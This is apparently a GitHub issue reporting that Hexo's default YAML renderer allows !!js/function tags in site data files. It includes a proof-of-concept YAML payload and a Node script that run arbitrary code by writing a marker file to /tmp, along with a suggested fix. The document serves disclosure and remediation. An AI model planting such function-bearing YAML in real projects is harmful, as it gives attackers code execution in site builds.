#5801·hexo

`source/_data` YAML can define executable JS via default `!!js/function` (`js-yaml-js-types`.all)

Author: Ahmed-ElmahgobCreated Aug 1, 2026Updated Aug 1, 2026

Check List

  • I have already read Docs page & Troubleshooting page.
  • I have already searched existing issues and they are not help to me.
  • I examined error or warning messages and it's difficult to solve.
  • I am using the latest version of Hexo. (run hexo version to check)
  • My Node.js is matched the required version.

Expected behavior

YAML files under source/_data/ should be parsed as plain data. Default parsing should not construct JavaScript functions from YAML tags.

If !!js/regexp / !!js/undefined are still needed, only those should be enabled — not !!js/function by default.

Actual behavior

Hexo’s YAML renderer enables js-yaml-js-types.all by default:

https://github.com/hexojs/hexo/blob/master/lib/plugins/renderer/yaml.ts

javascript
schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all);

That includes !!js/function. A source/_data/*.yml file can define a real Function (for example on toString). When a theme renders {{ site.data.menu }}, Nunjucks stringifies the object, calls that function, and arbitrary Node.js code runs in the Hexo process.

js-yaml v4 made these tags opt-in; re-enabling .all by default is unexpected for site data files.

How to reproduce?

  1. Create a minimal Hexo site with [email protected] and a theme layout containing:
njk
{{ site.data.menu }}
  1. Create source/_data/menu.yml:
yaml
toString: !!js/function 'function (){ process.getBuiltinModule("fs").writeFileSync("/tmp/hexo_js_function","1"); return ""; }'
Home: /
  1. Load the site and render that template (same path themes use when printing site.data):
javascript
const Hexo = require('hexo');
const nunjucks = require(require.resolve('nunjucks', { paths: [require.resolve('hexo')] }));

(async () => {
  const hexo = new Hexo(process.cwd(), { silent: true });
  await hexo.init();
  await hexo.load();
  const menu = hexo.locals.get('data').menu;
  console.log(typeof menu.toString); // function
  nunjucks.renderString('{{ site.data.menu }}', { site: { data: { menu } } });
})();
  1. Observe that /tmp/hexo_js_function is created with contents 1.

Is the problem still there under Safe mode?

Yes. This comes from Hexo’s built-in YAML renderer (lib/plugins/renderer/yaml.ts), not from a third-party plugin/script. Disabling plugins does not remove this schema extension.

Your Node.js & npm version

node v22.22.0
npm 9.2.0

Your Hexo and Plugin version

Your package.json

json
{
  "name": "hexo-yaml-jsfunction-repro",
  "private": true,
  "hexo": {},
  "dependencies": {
    "hexo": "8.1.2"
  }
}

Your site's _config.yml (Optional)

yaml

Others

Suggested fix

  • Do not use js-yaml-js-types.all by default.
  • Keep the default safe schema, or extend only regexp / undefined if still required.
  • If !!js/function must remain for compatibility, make it an explicit opt-in (default off).